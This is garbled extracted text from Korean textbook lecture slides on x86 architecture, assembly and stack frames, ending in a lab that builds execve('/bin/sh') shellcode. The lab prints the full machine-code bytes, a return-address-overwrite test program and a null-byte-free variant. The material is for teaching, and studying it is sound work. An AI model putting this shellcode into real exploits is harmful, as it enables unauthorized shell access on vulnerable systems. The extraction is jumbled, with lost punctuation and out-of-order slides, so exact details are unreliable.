결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 2: 80×86  시스템에 대한 이해

2108

Contents

학습목표 80times86 시스템 CPU 의 구조를 이해한다 80times86 시스템의 메모리 구조와 동작 원리를 이해한다 어셈블리어를 이해한다 80times86 시스템의 스택에서 명령을 처리하는 구조를 이해한다

내용 80times86 시스템 CPU 와 레지스터 80times86 시스템의 메모리 어셈블리어의 기본 문법과 명령 스택을 통한 명령 처리 과정

3108

[ 표 2-1] 인텔 CPU 모델별 관련 정보

80times86 시스템 CPU 와 레지스터

모델 8085 8086 8088 80286 80386 80486 펜티엄 펜티엄 - 프로

생산 시작 연도 1976 년 1978 년 1979 년 1982 년 1985 년 1989 년 1992 년 1995 년

클록 주파수(MHz)

3~8 5~8 5~8 6~16 16~33 25~50 60 66 150

트랜지스터 수 6500 29000 29000

130000

275000

12 백만

31 백만 55 백만

물리 메모리 64 K 1 M 1 M 16 M 4 G 4 G 4 G 64 G

내부 데이터 버스

8 16 16 16 32 32 32 32

외부 데이터 버스

8 16 8 16 32 32 64 64

주소 버스 16 20 20 24 32 32 32 36

데이터 크기 (비트 )

8 816 8 16 8 168 16

328 16

328 16

328 16 32

4108

80times86 시스템 CPU 의 구조

80times86 시스템 CPU 의 구조와 레지스터

5108

80times86 시스템 CPU 의 구조 연산장치

bull 연산 장치 (ALUArithmetic and Logic Unit) 는 CPU( 중앙 처리 장치 ) 의 핵심 부분 중

하나로 산술과 논리 연산을 수행하는 연산 회로 집합으로 구성

[ 표 2-2] 연산 장치의 구성 요소

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

가산기 (Adder) 덧셈 연산 수행

보수기 (Complementer)뺄셈 연산 수행 1 의 보수나 2 의 보수 방식 이용

시프터 (Shifter)비트를 오른쪽이나 왼쪽으로 이동하여 나눗셈과 곱셈 연산 수행

관련

레지

스터

누산기 (Accumulator) 연산의 중간 결과 저장

데이터 레지스터(Data Register)

연산에 사용할 데이터 저장

상태 레지스터 (Status Register)

연산 실행 결과로 나타나는 양수와 음수 자리올림 오버 플로우의 상태 기억

6108

80times86 시스템 CPU 의 구조 제어장치

bull 제어 장치 (Control Unit) 는 입력 출력 기억 연산 장치를 제어하고 감시 주기억

장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시

[ 표 2-3] 제어 장치의 구성 요소

레지스터bull 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

명령 해독기 (Instruction Decoder)명령 레지스터에 있는 명령을 해독하여 부호기로 전송

부호기 (Decoder)명령 해독기가 전송한 명령을 신호로 만들어 각 장치 전송

주소 해독기

(Address Decoder)

명령 레지스터에 있는 주소를 해독하여 메모리의 실제주소로 변환한 후 이를 데이터 레지스터에 저장

관련

레지

스터

프로그램 카운터 (Program Counter) 다음에 실행할 명령의 주소 저장

명령 (Instruction) 레지스터 현재 실행 중인 명령 저장

메모리 주소 (Memory Address) 레지스터 주기억 장치의 번지 저장

메모리 버퍼 (Memory Buffer) 레지스터 메모리 주소 레지스터에 저장된 주소의 실제 내용 저장

7108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

범용 레지스터 (General Register)

EAX 누산기 (Accmulator) 32주로 산술 연산에 사용 ( 함수의 결과 값 저장 )

EBX베이스 레지스터 (Base Register)

32특정 주소 저장 ( 주소 지정을 확대하기 위한 인덱스로 사용 )

ECX카운트 레지스터 (Count Register)

32반복적으로 실행되는 특정 명령에 사용( 루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억 )

EDX데이터 레지스터 (Data Register)

32 일반 자료 저장 ( 입출력 동작에 사용 )

세그먼트 레지스터 (Segment Register)

CS코드 세그먼트 레지스터 (Code Segment Register)

16실행될 기계 명령어가 저장된 메모리 주소

지정

DS데이터 세그먼트 레지스터 (Data Segment Register)

16프로그램에서 정의된 데이터 상수 작업 영역의 메모리 주소 지정

SS스택 세그먼트 레지스터 (Stack Segment Register)

16

